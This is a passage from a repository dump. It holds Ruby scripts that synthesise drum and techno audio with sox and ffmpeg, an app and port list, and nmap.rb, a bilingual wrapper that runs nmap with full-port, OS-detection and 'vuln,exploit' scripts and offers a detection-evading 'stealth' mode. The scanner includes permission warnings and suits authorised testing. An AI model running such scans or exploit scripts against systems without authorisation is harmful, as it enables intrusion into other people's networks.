  hat_seq = []
  bars.times do |bar|

    16.times do |sixteenth|

      offset = bar * bar_sec + sixteenth * (beat_sec / 4)

      dyn = (sixteenth % 4 == 0) ? 0 : -6

      sox("#{hat} _h#{bar}_#{sixteenth}.wav pad #{offset} 0 gain #{dyn}")

      hat_seq << "_h#{bar}_#{sixteenth}.wav"

    end

  end

  sox("-m #{kick_seq.join(' ')} _kicks.wav pad 0 #{total_sec}")
  sox("-m #{hat_seq.join(' ')} _hats.wav pad 0 #{total_sec}")

  sox("-m _kicks.wav _hats.wav drums/techno_intricate_#{tempo}bpm.wav gain -n -3")

  cleanup(*kick_seq, *hat_seq, "_kicks.wav", "_hats.wav", kick, hat)
  puts "✓ drums/techno_intricate_#{tempo}bpm.wav"

end

def generate_hiphop(tempo, swing_pct, bars)
  beat_sec = 60.0 / tempo

  bar_sec = beat_sec * 4

  total_sec = bar_sec * bars

  swing_factor = (swing_pct - 50) / 100.0

  swing_offset = (beat_sec / 8) * swing_factor

  kick = make_kick
  snare = make_snare

  hat = make_hat_closed

  kick_seq = []
  bars.times do |bar|

    base = bar * bar_sec

    sox("#{kick} _k#{bar}_0.wav pad #{base} 0")

    kick_seq << "_k#{bar}_0.wav"

    sox("#{kick} _k#{bar}_1.wav pad #{base + beat_sec + beat_sec/2 + swing_offset} 0 gain -2")

    kick_seq << "_k#{bar}_1.wav"

    sox("#{kick} _k#{bar}_2.wav pad #{base + beat_sec * 2} 0")

    kick_seq << "_k#{bar}_2.wav"

  end

  snare_seq = []
  bars.times do |bar|

    base = bar * bar_sec

    sox("#{snare} _s#{bar}_0.wav pad #{base + beat_sec} 0")

    snare_seq << "_s#{bar}_0.wav"

    sox("#{snare} _s#{bar}_1.wav pad #{base + beat_sec * 3} 0")

    snare_seq << "_s#{bar}_1.wav"

    [0.5, 1.5, 2.5, 3.5].each_with_index do |beat_pos, idx|
      offset = base + beat_pos * beat_sec + (idx.odd? ? swing_offset : 0)

      sox("#{snare} _sg#{bar}_#{idx}.wav pad #{offset} 0 gain -18")

      snare_seq << "_sg#{bar}_#{idx}.wav"

    end

  end

  hat_seq = []
  bars.times do |bar|

    base = bar * bar_sec

    8.times do |eighth|

      offset = base + eighth * (beat_sec / 2) + (eighth.odd? ? swing_offset : 0)

      dyn = eighth.even? ? -3 : -6

      sox("#{hat} _h#{bar}_#{eighth}.wav pad #{offset} 0 gain #{dyn}")

      hat_seq << "_h#{bar}_#{eighth}.wav"

    end

  end

  sox("-m #{kick_seq.join(' ')} _kicks.wav pad 0 #{total_sec}")
  sox("-m #{snare_seq.join(' ')} _snares.wav pad 0 #{total_sec}")

  sox("-m #{hat_seq.join(' ')} _hats.wav pad 0 #{total_sec}")

  sox("-m _kicks.wav _snares.wav _hats.wav drums/hiphop_intricate_#{tempo}bpm_#{swing_pct}swing.wav gain -n -3")

  cleanup(*kick_seq, *snare_seq, *hat_seq, "_kicks.wav", "_snares.wav", "_hats.wav", kick, snare, hat)
  puts "✓ drums/hiphop_intricate_#{tempo}bpm_#{swing_pct}swing.wav"

end

# FINAL MIXING (MAXIMUM VARIETY - ROTATES THROUGH ALL DRUMS)


def create_final_mix(name, drum_file)
  chord_file = "chords/#{name}.wav"

  bass_file = "bass/#{name}.wav"

  return unless File.exist?(chord_file) && File.exist?(bass_file)
  unless File.exist?(drum_file)
    puts "⚠ No drums for #{name} (#{drum_file} missing)"

    return

  end

  # Get chord duration to loop drums
  chord_duration = `#{SOX} --info -D #{chord_file}`.strip.to_f

  drum_duration = `#{SOX} --info -D #{drum_file}`.strip.to_f

  drum_repeats = (chord_duration / drum_duration).ceil + 1

  # Loop drums to match
  sox("#{([drum_file] * drum_repeats).join(' ')} _drums_loop.wav trim 0 #{chord_duration}")

  # Extract drum name for output filename
  drum_name = File.basename(drum_file, ".wav").gsub("_intricate", "")

  # Final mix with mastering
  sox("-m #{chord_file} #{bass_file} _drums_loop.wav final/#{name}_#{drum_name}.wav gain -n -2 compand 0.02,0.20 -60,-60,-30,-24,-20,-18,-4,-12,-2,-9,0,-6 -6 0 0.05 overdrive 5 reverb 18 10 equalizer 80 0.5q +2 equalizer 3000 1.2q +1.5 equalizer 10000 0.6q +1.5 gain -n -0.5")

  cleanup("_drums_loop.wav")
  puts "✓ final/#{name}_#{drum_name}.wav"

end

# MAIN ORCHESTRATION


if __FILE__ == $0
  puts "\n" + ("=" * 70)

  puts "🎹 J DILLA AUDIO GENERATOR - MASTER ORCHESTRATOR"

  puts "=" * 70

  mode = ARGV[0] || "--full"

  # Create directories
  system("mkdir -p chords bass drums final 2>/dev/null")

  # CHORDS & BASS
  unless mode == "--drums-only"

    puts "\n📊 RENDERING CHORD PROGRESSIONS + BASS"

    puts "-" * 70

    progressions_to_render = []
    ["neo_soul", "jazz", "funk_soul"].each do |cat|
      key = "#{cat}_progressions"

      next unless DILLA_DATA["chords"][key]

      DILLA_DATA["chords"][key].each do |name, data|

        progressions_to_render << [name, data] if data["freqs"]

      end

    end

    # Quick mode: only 5 progressions
    progressions_to_render = progressions_to_render.first(5) if mode == "--quick"

    progressions_to_render.each { |name, data| render_progression(name, data) }
  end

  # DRUMS
  unless mode == "--chords-only"

    puts "\n📊 RENDERING INTRICATE DRUMS"

    puts "-" * 70

    if mode == "--quick"
      generate_techno(130, 4)

      generate_hiphop(92, 58, 4)

    else

      [128, 130, 135, 140].each { |t| generate_techno(t, 4) }

      [[90, 58], [92, 58], [95, 62], [85, 54]].each { |t, s| generate_hiphop(t, s, 4) }

    end

  end

  # FINAL MIXES - ROTATE THROUGH ALL DRUMS FOR MAXIMUM VARIETY
  unless mode == "--chords-only" || mode == "--drums-only"

    puts "\n📊 CREATING FINAL MIXES (ROTATING DRUMS FOR VARIETY)"

    puts "-" * 70

    # Get all available drum files
    drum_files = Dir.glob("drums/*.wav").sort

    if drum_files.empty?
      puts "⚠ No drum files found - skipping final mixes"

    else

      puts "   Using #{drum_files.size} drum patterns in rotation"

      chord_files = Dir.glob("chords/*.wav").sort
      drum_index = 0

      chord_files.each do |path|
        name = File.basename(path, ".wav")

        # Rotate through drum files
        drum_file = drum_files[drum_index % drum_files.size]

        create_final_mix(name, drum_file)

        drum_index += 1
      end

    end

  end

  puts "\n" + ("=" * 70)
  puts "✅ RENDER COMPLETE"

  puts "=" * 70

  puts "\n📁 Outputs:"

  puts "  chords/ - Chord progressions (#{Dir.glob('chords/*.wav').size} files)"

  puts "  bass/   - Bass layers (#{Dir.glob('bass/*.wav').size} files)"

  puts "  drums/  - Drum patterns (#{Dir.glob('drums/*.wav').size} files)"

  puts "  final/  - Full mixes (#{Dir.glob('final/*.wav').size} files)"

  puts ""

end

dilla/stems/manifest.json

{
  "active": "default",
  "sets": {
    "default": {
      "dir": ".",
      "bpm": 90,
      "source": "Sirkel Sag · Voicemails",
      "files": [
        "sub_bass.mp3",
        "bass.mp3",
        "mids.mp3",
        "highs_pluck.mp3",
        "center.mp3",
        "sides.mp3"
      ]
    }
  }
}

dilla/techno_hate.rb

#!/usr/bin/env ruby
# frozen_string_literal: true
#
# Hate techno — hard, dark, distorted. 142 BPM × 8 bars.
# 4-on-the-floor saturated kick, acid-bass C-minor progression (i-iv-v),
# industrial closed hats on offbeats, layered claps, hard limit.
#
# Usage:  ruby techno_hate.rb [out.mp3]   default: ./techno_hate.mp3

DIR  = __dir__
BPM  = 142
BARS = 8

def run(label, *cmd)
  puts ">>> #{label}"
  abort "fail: #{label}" unless system(*cmd.flatten.map(&:to_s))
end

def render(label, dest, inputs:, filter:, map:, args: ["-b:a", "320k"])
  run label, "ffmpeg", "-y", *inputs,
      "-filter_complex", filter.tr("\n", " "),
      "-map", map, *args, dest
end

def lavfi(src) = ["-f", "lavfi", "-i", src]

def synthesize(dest)
  beat  = 60.0 / BPM
  bar   = beat * 4
  step  = beat / 4
  total = (bar * BARS).round(3)

  kick_per_bar = Array.new(BARS) { [0, 4, 8, 12] }
  kick_per_bar[7] = [0, 4, 8, 12, 14, 15]

  clap_per_bar = Array.new(BARS) { [4, 12] }
  clap_per_bar[3] = [4, 12, 14]
  clap_per_bar[7] = [4, 10, 12, 14]

  hat_per_bar = Array.new(BARS) { [2, 6, 10, 14] }
  hat_per_bar[3] = []
  hat_per_bar[5] = [0, 2, 4, 6, 8, 10, 12, 14]

  open_per_bar = Array.new(BARS) { [] }
  open_per_bar[3] = [14]
  open_per_bar[7] = [14]

  acid_steps = [0, 3, 6, 8, 11, 14]
  bass_notes = [65.41, 65.41, 87.31, 65.41, 98.00, 98.00, 87.31, 65.41]  # C C F C G G F C

  kicks = BARS.times.flat_map { |b| kick_per_bar[b].map { |s| (b * bar + s * step).round(4) } }
  claps = BARS.times.flat_map { |b| clap_per_bar[b].map { |s| (b * bar + s * step).round(4) } }
  hats  = BARS.times.flat_map { |b| hat_per_bar[b].map  { |s| (b * bar + s * step).round(4) } }
  opens = BARS.times.flat_map { |b| open_per_bar[b].map { |s| (b * bar + s * step).round(4) } }

  acid_hits = BARS.times.flat_map do |b|
    f = bass_notes[b]
    acid_steps.map { |s| [(b * bar + s * step).round(4), f] }
  end

  kick_sig = kicks.map { |t| "between(t,#{t},#{t + 0.18})*0.95*exp(-(t-#{t})*8)*sin(2*PI*(110*(t-#{t})-250*(t-#{t})*(t-#{t})))" }.join("+")
  acid_sig = acid_hits.map { |(t, f)| "between(t,#{t},#{t + 0.14})*0.6*exp(-(t-#{t})*9)*sin(2*PI*#{f}*(t-#{t}))" }.join("+")

  clap_env = claps.flat_map { |t|
    t1 = (t + 0.012).round(4)
    t2 = (t + 0.024).round(4)
    [
      "between(t,#{t},#{t + 0.04})*exp(-(t-#{t})*40)",
      "between(t,#{t1},#{(t1 + 0.04).round(4)})*exp(-(t-#{t1})*50)",
      "between(t,#{t2},#{(t2 + 0.05).round(4)})*exp(-(t-#{t2})*30)",
    ]
  }.join("+")

  hat_env = hats.map  { |t| "between(t,#{t},#{t + 0.04})*exp(-(t-#{t})*70)" }.join("+")
  opn_env = opens.map { |t| "between(t,#{t},#{t + 0.5})*exp(-(t-#{t})*10)" }.join("+")

  inputs = [
    *lavfi("aevalsrc='#{kick_sig}':d=#{total}:s=44100"),
    *lavfi("aevalsrc='#{acid_sig}':d=#{total}:s=44100"),
    *lavfi("anoisesrc=color=white:r=44100:amplitude=0.5:d=#{total}"),
  ]

  filt = <<~F
    [0:a]aformat=channel_layouts=stereo,equalizer=f=55:t=o:w=0.7:g=4,
         aeval='tanh(val(0)*2.5)/tanh(2.5)|tanh(val(1)*2.5)/tanh(2.5)',
         acompressor=threshold=-10dB:ratio=6:attack=1:release=40:makeup=3[kick];
    [1:a]aformat=channel_layouts=stereo,
         aeval='tanh(val(0)*3.5)/tanh(3.5)|tanh(val(1)*3.5)/tanh(3.5)',
         equalizer=f=300:t=o:w=2:g=3,equalizer=f=1500:t=o:w=2:g=4,
         lowpass=f=4000[acid];
    [2:a]aformat=channel_layouts=stereo,asplit=3[nc][nh][no];
    [nc]volume='(#{clap_env})*0.6':eval=frame,bandpass=f=1500:w=2000,
        aecho=0.5:0.4:30|60:0.2|0.1[clap];
    [nh]volume='(#{hat_env})*0.4':eval=frame,highpass=f=8000[hat];
    [no]volume='(#{opn_env})*0.3':eval=frame,bandpass=f=7000:w=5000[open];
    [kick][acid][clap][hat][open]amix=inputs=5:weights=1.4 1.0 0.7 0.5 0.4:duration=longest[drums];
    [drums]highpass=f=30,acompressor=threshold=-14dB:ratio=8:attack=1:release=50:makeup=4[drums_comp];
    [drums_comp]aeval='tanh(val(0)*2.0)/tanh(2.0)|tanh(val(1)*2.0)/tanh(2.0)'[drums_sat];
    [drums_sat]equalizer=f=80:t=o:w=0.8:g=2,equalizer=f=8000:t=o:w=2:g=3[master_eq];
    [master_eq]alimiter=level_in=1.0:level_out=0.99:limit=0.95:attack=2:release=20[out]
  F

  render "techno hate (#{BPM} BPM × #{BARS} bars → #{total}s)", dest,
    inputs: inputs, map: "[out]", filter: filt
end

dest = ARGV[0] || File.join(DIR, "techno_hate.mp3")
synthesize(dest)
puts "done -> #{dest}"

master.json

{
  "apps": [
    { "name": "amber",     "domain": "amber.brgen.no", "port": 61352 },
    { "name": "baibl",     "domain": "baibl.no",       "port": 10007 },
    { "name": "blognet",   "domain": "blognet.no",     "port": 10002 },
    { "name": "brgen",     "domain": "brgen.no",       "port": 38182 },
    { "name": "bsdports",  "domain": "bsdports.org",   "port": 47312 },
    { "name": "hjerterom", "domain": "hjerterom.no",   "port": 38891 }
  ]
}

nmap.rb

#!/usr/bin/env ruby
# frozen_string_literal: true
# nmap.rb - Network security scanner with sensible defaults

#

# Installation:

#   OpenBSD: `doas pkg_add nmap ruby--3.2; gem install ruby-nmap`

#   Cygwin: `apt-cyg install nmap ruby ruby-devel; gem install ruby-nmap`

#   Termux: `pkg install nmap ruby; gem install ruby-nmap`

#

# Usage: ruby nmap.rb [--help | --verbose | --lang=english|norwegian | --prompt]

#   --help: Show this help message

#   --verbose: Log debugging to syslog (OpenBSD) or stdout (Cygwin/Termux)

#   --lang: Choose language (english or norwegian, default: english)

#   --prompt: Prompt for severity and attack type (default: full scan)

#

# Notes:

#   - Requires permission to scan target network

#   - Test with 127.0.0.1 or scanme.nmap.org

#   - Default scan: All ports, service/OS detection, vulnerabilities, aggressive

#   - OpenBSD: Uses pledge/unveil, doas for privileged scans

#   - Cygwin: Non-privileged scans, /cygdrive paths

#   - Termux: Non-privileged scans, termux-toast for errors

#

# Example Output (English, default mode):

#   Network security scanner

#   Target (IP/hostname): 127.0.0.1

#   Warning: Full scan detects vulnerabilities. Ensure permission to scan 127.0.0.1.

#   Scanning 127.0.0.1

#   Host: 127.0.0.1 (Up)

#     Port: 22/tcp ssh OpenSSH 8.9

#     Port: 80/tcp http Apache 2.4

#     Vuln: http-vuln-cve2017-5638 CVE-2017-5638

#   Scan completed in 10.2 seconds

#

# Example Output (Norwegian, verbose mode, --verbose --lang=norwegian):

#   [DEBUG] Oct 06 18:00:00 nmap[1234]: validate.info: Validating target: 127.0.0.1

#   [DEBUG] Oct 06 18:00:00 nmap[1234]: validate.info: Checking nmap...

#   [DEBUG] Oct 06 18:00:00 nmap[1234]: validate.info: nmap found

#   [DEBUG] Oct 06 18:00:00 nmap[1234]: validate.info: Checking doas...

#   [DEBUG] Oct 06 18:00:00 nmap[1234]: validate.info: doas found

#   Nettverkssikkerhetsskanner

#   Mål (IP/vertsnavn): 127.0.0.1

#   Advarsel: Full skanning oppdager sårbarheter. Sørg for tillatelse til å skanne 127.0.0.1.

#   [DEBUG] Oct 06 18:00:00 nmap[1234]: setup.info: Created temp file: /tmp/nmap_12345.xml

#   [DEBUG] Oct 06 18:00:00 nmap[1234]: setup.info: Full scan: SYN, all ports, service/OS, vuln scripts, fast

#   [DEBUG] Oct 06 18:00:00 nmap[1234]: setup.info: nmap args: {"output_xml"=>"/tmp/nmap_12345.xml", "targets"=>"127.0.0.1", "syn_scan"=>true, "ports"=>"1-65535", "service_scan"=>true, "os_fingerprint"=>true, "script"=>"vuln,exploit", "timing_template"=>4, "version_intensity"=>9}

#   Skanner 127.0.0.1

#   [DEBUG] Oct 06 18:00:00 nmap[1234]: scan.info: Starting scan...

#   [DEBUG] Oct 06 18:00:10 nmap[1234]: scan.info: Scan done in 10.2 seconds

#   [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Parsing XML...

#   [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Found 1 host

#   [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Host: 127.0.0.1 (up)

#   [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Open port: 22/tcp (ssh OpenSSH 8.9)

#   [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Open port: 80/tcp (http Apache 2.4)

#   [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Checking vulnerabilities...

#   [DEBUG] Oct 06 18:00:10 nmap[1234]: parse.info: Vulnerabilities on port 80: http-vuln-cve2017-5638, CVE-2017-5638

#   Vert: 127.0.0.1 (Oppe)

#     Port: 22/tcp ssh OpenSSH 8.9

#     Port: 80/tcp http Apache 2.4

#     Sårbarhet: http-vuln-cve2017-5638 CVE-2017-5638

#   Skanning fullført på 10.2 sekunder

#   [DEBUG] Oct 06 18:00:10 nmap[1234]: cleanup.info: Cleaning up: /tmp/nmap_12345.xml

#   [DEBUG] Oct 06 18:00:10 nmap[1234]: cleanup.info: Temp file removed

require "nmap/xml"
require "tempfile"

# Lock script for security (OpenBSD only)
# Why: Restricts access to files and network

if RUBY_PLATFORM.include?("openbsd")

  begin

    require "pledge"

    pledge.promises(:stdio, :rpath, :wpath, :cpath, :proc, :exec, :inet)

    require "unveil"

    unveil("/tmp", "rwc") # Temp file access

    unveil("/usr/local/bin/nmap", "rx") # nmap execution

    unveil("/usr/local/bin/doas", "rx") # doas execution

  rescue LoadError

  end

end

$verbose = ARGV.include?("--verbose")
$lang = ARGV.find { |arg| arg.start_with?("--lang=") }&.split("=")&.last || "english"

$lang = $lang.downcase

$prompt = ARGV.include?("--prompt")

# Log to syslog (OpenBSD) or stdout (Cygwin/Termux)
# Why: Tracks actions for debugging

def log(message, facility = "validate", level = "info")

  timestamp = Time.now.strftime("%b %d %H:%M:%S")

  hostname = `hostname`.chomp

  pid = Process.pid

  msg = "#{timestamp} #{hostname} nmap[#{pid}]: #{facility}.#{level}: #{message}"

  if RUBY_PLATFORM.include?("openbsd")

    system("logger -t nmap \"#{msg}\"")

  else

    puts "[DEBUG] #{msg}" if $verbose

  end

  system("termux-toast \"#{msg}\"") if RUBY_PLATFORM.include?("linux") && `uname -o`.chomp == "Android" && $verbose

end

# Translations for English and Norwegian
# Why: Provides clear messages in chosen language

TRANSLATIONS = {

  "english" => {

    title: "Network security scanner",

    prompt_target: "Target (IP/hostname)",

    no_target: "Error: No target specified",

    invalid_target: "Error: Invalid target format",

    severity_title: "Severity levels",

    severity_low: "Low: Basic port scan (100 ports, slow)",

    severity_medium: "Medium: Service detection (1000 ports)",

    severity_high: "High: OS detection, default scripts",

    severity_critical: "Critical: Vulnerability/exploit detection",

    prompt_severity: "Severity [Low/Medium/High/Critical]",

    invalid_severity: "Error: Invalid severity",

    attack_title: "Attack types",

    attack_normal: "Normal: Standard scan",

    attack_stealth: "Stealth: Slow, evades detection",

    attack_aggressive: "Aggressive: Fast, maximum information",

    prompt_attack: "Attack type [Normal/Stealth/Aggressive]",

    invalid_attack: "Error: Invalid attack type",

    scanning: ->(target) { "Scanning #{target}" },

    scanning_with: ->(target, severity, attack_type) { "Scanning #{target} (Severity: #{severity}, Type: #{attack_type})" },

    warning_critical: ->(target) { "Warning: Full scan detects vulnerabilities. Ensure permission to scan #{target}." },

    no_hosts: "No hosts found",

    host: ->(ip, status) { "Host: #{ip} (#{status})" },

    port: ->(number, protocol, service, version) { "  Port: #{number}/#{protocol} #{service}#{version}" },

    vuln: ->(id, cves) { "  Vuln: #{id} #{cves}" },

    scan_completed: ->(duration) { "Scan completed in #{duration} seconds" },

    no_nmap: "Error: nmap not found. Install it (OpenBSD: doas pkg_add nmap; Cygwin: apt-cyg install nmap; Termux: pkg install nmap)",

    nmap_failed: ->(msg) { "Error: nmap failed: #{msg}" },

    unexpected_error: ->(msg) { "Error: Unexpected failure: #{msg}" },

    debug_validating_target: ->(target) { "Validating target: #{target}" },

    debug_nmap_check: "Checking nmap...",

    debug_nmap_found: "nmap found",

    debug_doas_check: "Checking doas...",

    debug_doas_found: "doas found",

    debug_doas_missing: "doas not found; full scan may be limited",

    debug_temp_file: ->(path) { "Created temp file: #{path}" },

    debug_severity_low: "Low severity: SYN scan, top 100 ports, slow",

    debug_severity_medium: "Medium severity: SYN scan, service detection, top 1000 ports, fast",

    debug_severity_high: "High severity: SYN scan, service/OS detection, default scripts, faster",

    debug_severity_critical: "Full scan: SYN, all ports, service/OS, vuln scripts, fast",

    debug_attack_normal: "Normal mode: No changes",

    debug_attack_stealth: "Stealth mode: Slow, evades detection",

    debug_attack_aggressive: "Aggressive mode: OS detection, max detail",

    debug_args: ->(args) { "nmap args: #{args}" },

    debug_scan_start: "Starting scan...",

    debug_scan_duration: ->(duration) { "Scan done in #{duration} seconds" },

    debug_parse_xml: "Parsing XML...",

    debug_hosts_found: ->(count) { "Found #{count} host" },

    debug_host: ->(ip, status) { "Host: #{ip} (#{status})" },

    debug_port: ->(number, protocol, service, version) { "Open port: #{number}/#{protocol} (#{service}#{version})" },

    debug_vuln_check: "Checking vulnerabilities...",

    debug_vuln_found: ->(port, id, cves) { "Vulnerabilities on port #{port}: #{id}, #{cves}" },

    debug_cleanup: ->(path) { "Cleaning up: #{path}" },

    debug_cleanup_done: "Temp file removed"

  },

  "norwegian" => {

    title: "Nettverkssikkerhetsskanner",

    prompt_target: "Mål (IP/vertsnavn)",

    no_target: "Feil: Ingen mål spesifisert",

    invalid_target: "Feil: Ugyldig målformat",

    severity_title: "Alvorlighetsnivåer",

    severity_low: "Lav: Enkel portskanning (100 porter, sakte)",

    severity_medium: "Middels: Tjenestedeteksjon (1000 porter)",

    severity_high: "Høy: OS-deteksjon, standardskripter",

    severity_critical: "Kritisk: Sårbarhets-/utnyttelsesdeteksjon",

    prompt_severity: "Alvorlighet [Lav/Middels/Høy/Kritisk]",

    invalid_severity: "Feil: Ugyldig alvorlighet",

    attack_title: "Angrepstyper",

    attack_normal: "Normal: Standard skanning",

    attack_stealth: "Snik: Sakte, unngår deteksjon",

    attack_aggressive: "Aggressiv: Rask, maksimal informasjon",

    prompt_attack: "Angrepstype [Normal/Snik/Aggressiv]",

    invalid_attack: "Feil: Ugyldig angrepstype",

    scanning: ->(target) { "Skanner #{target}" },

    scanning_with: ->(target, severity, attack_type) { "Skanner #{target} (Alvorlighet: #{severity}, Type: #{attack_type})" },

    warning_critical: ->(target) { "Advarsel: Full skanning oppdager sårbarheter. Sørg for tillatelse til å skanne #{target}." },

    no_hosts: "Ingen verter funnet",

    host: ->(ip, status) { "Vert: #{ip} (#{status})" },

    port: ->(number, protocol, service, version) { "  Port: #{number}/#{protocol} #{service}#{version}" },

    vuln: ->(id, cves) { "  Sårbarhet: #{id} #{cves}" },

    scan_completed: ->(duration) { "Skanning fullført på #{duration} sekunder" },

    no_nmap: "Feil: nmap ikke funnet. Installer det (OpenBSD: doas pkg_add nmap; Cygwin: apt-cyg install nmap; Termux: pkg install nmap)",

    nmap_failed: ->(msg) { "Feil: nmap mislyktes: #{msg}" },

    unexpected_error: ->(msg) { "Feil: Uventet feil: #{msg}" },

    debug_validating_target: ->(target) { "Validerer mål: #{target}" },

    debug_nmap_check: "Sjekker nmap...",

    debug_nmap_found: "nmap funnet",

    debug_doas_check: "Sjekker doas...",

    debug_doas_found: "doas funnet",

    debug_doas_missing: "doas ikke funnet; full skanning kan være begrenset",

    debug_temp_file: ->(path) { "Created temp file: #{path}" },

    debug_severity_low: "Lav alvorlighet: SYN, topp 100 porter, sakte",

    debug_severity_medium: "Middels alvorlighet: SYN, tjenestedeteksjon, topp 1000 porter, rask",

    debug_severity_high: "Høy alvorlighet: SYN, tjeneste/OS, standardskripter, raskere",

    debug_severity_critical: "Full skanning: SYN, alle porter, tjeneste/OS, sårbarhetsskripter, rask",

    debug_attack_normal: "Normal modus: Ingen endringer",

    debug_attack_stealth: "Snikmodus: Sakte, unngår deteksjon",

    debug_attack_aggressive: "Aggressiv modus: OS-deteksjon, maks detalj",

    debug_args: ->(args) { "nmap-argumenter: #{args}" },

    debug_scan_start: "Starter skanning...",

    debug_scan_duration: ->(duration) { "Skanning ferdig på #{duration} sekunder" },

    debug_parse_xml: "Parser XML...",

    debug_hosts_found: ->(count) { "Fant #{count} vert" },

    debug_host: ->(ip, status) { "Vert: #{ip} (#{status})" },

    debug_port: ->(number, protocol, service, version) { "Åpen port: #{number}/#{protocol} (#{service}#{version})" },

    debug_vuln_check: "Sjekker sårbarheter...",

    debug_vuln_found: ->(port, id, cves) { "Sårbarheter på port #{port}: #{id}, #{cves}" },

    debug_cleanup: ->(path) { "Rydder opp: #{path}" },

    debug_cleanup_done: "Temp fil fjernet"

  }

}

# Validate language
# Why: Ensures valid language choice

unless TRANSLATIONS.key?($lang)

  log "Invalid language. Use --lang=english or --lang=norwegian", "validate", "error"

  abort "Error: Invalid language. Use --lang=english or --lang=norwegian"

end

T = TRANSLATIONS[$lang]

# Prompt for input
# Why: Gets user input like IP address

def prompt(msg)

  print "#{msg}: "

  gets.chomp

end

# Validate target
# Why: Ensures address is valid

def valid_target?(target)

  target =~ /^(?:(?:[0-9]{1,3}\.){3}[0-9]{1,3}|(?:[a-zA-Z0-9-]+\.)*[a-zA-Z0-9-]+)$/

end

# Check dependencies
# Why: Confirms nmap and doas availability

def check_requirements

  log T[:debug_nmap_check], "validate", "info"

  unless system("which nmap > /dev/null 2>&1")

    log T[:no_nmap], "validate", "error"

    abort T[:no_nmap]

  end

  log T[:debug_nmap_found], "validate", "info"

  if RUBY_PLATFORM.include?("openbsd")

    log T[:debug_doas_check], "validate", "info"

    if system("which doas > /dev/null 2>&1")

      log T[:debug_doas_found], "validate", "info"

    else

      log T[:debug_doas_missing], "validate", "warning"

    end

  end

end

# Perform scan
# Why: Scans for open ports, services, vulnerabilities

def scan(target, severity, attack_type)

  log T[:debug_validating_target].call(target), "validate", "info"

  unless valid_target?(target)

    log T[:invalid_target], "validate", "error"

    abort T[:invalid_target]

  end

  check_requirements

  # Setup temp file
  xml = Tempfile.new(["nmap", ".xml"])

  log T[:debug_temp_file].call(xml.path), "setup", "info"

  # Build scan arguments
  args = { output_xml: xml.path, targets: target }

  if $prompt

    case severity

    when "low"

      log T[:debug_severity_low], "setup", "info"

      args.merge!(syn_scan: true, top_ports: 100, timing_template: 2)

    when "medium"

      log T[:debug_severity_medium], "setup", "info"

      args.merge!(syn_scan: true, service_scan: true, top_ports: 1000, timing_template: 3)

    when "high"

      log T[:debug_severity_high], "setup", "info"

      args.merge!(syn_scan: true, service_scan: true, os_fingerprint: true, script: "default", timing_template: 4)

    when "critical"

      puts T[:warning_critical].call(target)

      log T[:debug_severity_critical], "setup", "info"

      args.merge!(syn_scan: true, ports: "1-65535", service_scan: true, os_fingerprint: true, script: "vuln,exploit", timing_template: 4)

    else

      log T[:invalid_severity], "validate", "error"

      abort T[:invalid_severity]

    end

    case attack_type

    when "stealth"

      log T[:debug_attack_stealth], "setup", "info"

      args[:timing_template] = 1

    when "aggressive"

      log T[:debug_attack_aggressive], "setup", "info"

      args.merge!(os_fingerprint: true, version_intensity: 9)

    when "normal"

      log T[:debug_attack_normal], "setup", "info"

    else

      log T[:invalid_attack], "validate", "error"

      abort T[:invalid_attack]

    end

  else

    puts T[:warning_critical].call(target)

    log T[:debug_severity_critical], "setup", "info"

    args.merge!(syn_scan: true, ports: "1-65535", service_scan: true, os_fingerprint: true, script: "vuln,exploit", timing_template: 4, version_intensity: 9)

  end

  log T[:debug_args].call(args.inspect), "setup", "info"
  # Run scan
  begin

    puts $prompt ? T[:scanning_with].call(target, severity.capitalize, attack_type.capitalize) : T[:scanning].call(target)

    log T[:debug_scan_start], "scan", "info"

    start = Time.now

    use_doas = (severity == "high" || severity == "critical" || !$prompt) && RUBY_PLATFORM.include?("openbsd")

    if use_doas && system("which doas > /dev/null 2>&1")

      log T[:debug_doas_found], "scan", "info"

      system("doas nmap #{args.map { |k, v| "--#{k.to_s.gsub('_', '-')}=#{v}" }.join(" ")} >/dev/null 2>&1")

    else

      log T[:debug_doas_missing], "scan", "warning" if use_doas

      system("nmap #{args.map { |k, v| "--#{k.to_s.gsub('_', '-')}=#{v}" }.join(" ")} >/dev/null 2>&1")

    end

    unless $?.success?

      log T[:nmap_failed].call("non-zero exit status"), "scan", "error"

      abort T[:nmap_failed].call("non-zero exit status")

    end

    duration = (Time.now - start).round(1)

    log T[:debug_scan_duration].call(duration), "scan", "info"

    # Parse results
    log T[:debug_parse_xml], "parse", "info"

    unless File.exist?(xml.path) && File.size?(xml.path)

      log T[:no_results], "parse", "error"

      abort T[:no_results]

    end

    Nmap::XML.open(xml.path) do |x|

      log T[:debug_hosts_found].call(x.hosts.size), "parse", "info"

      if x.hosts.empty?

        puts T[:no_hosts]

        return

      end

      x.each_host do |h|

        log T[:debug_host].call(h.ip, h.status), "parse", "info"

        puts T[:host].call(h.ip, h.status.capitalize)

        h.each_open_port do |p|

          svc = p.service.name || (T == TRANSLATIONS["english"] ? "Unknown" : "Ukjent")

          ver = p.service.version ? " #{p.service.version}" : ""

          log T[:debug_port].call(p.number, p.protocol, svc, ver), "parse", "info"

          puts T[:port].call(p.number, p.protocol, svc, ver)

        end

        if severity == "critical" || !$prompt

          log T[:debug_vuln_check], "parse", "info"

          h.each_port do |p|

            p.scripts.each do |id, s|

              cves = s.output.scan(/CVE-\d{4}-\d+/).uniq

              if cves.any?

                log T[:debug_vuln_found].call(p.number, id, cves.join(", ")), "parse", "info"

                puts T[:vuln].call(id, cves.join(" "))

              end

            end

          end

        end

      end

    end

    puts T[:scan_completed].call(duration)

  # Cleanup
  rescue StandardError => e

    log T[:unexpected_error].call(e.message), "error", "error"

    abort T[:unexpected_error].call(e.message)

  ensure

    log T[:debug_cleanup].call(xml.path), "cleanup", "info"

    xml.unlink if File.exist?(xml.path)

    log T[:debug_cleanup_done], "cleanup", "info"

  end

end

# Main script
# Why: Gets target and runs scan

if ARGV.include?("--help")

  puts <<~HELP

    #{T[:title]}

    Usage: ruby nmap.rb [--help | --verbose | --lang=english|norwegian | --prompt]

    Options:

      --help            #{T == TRANSLATIONS["english"] ? "Show this help" : "Vis denne hjelpen"}

      --verbose         #{T == TRANSLATIONS["english"] ? "Enable debug output" : "Aktiver feilsøkingsutdata"}

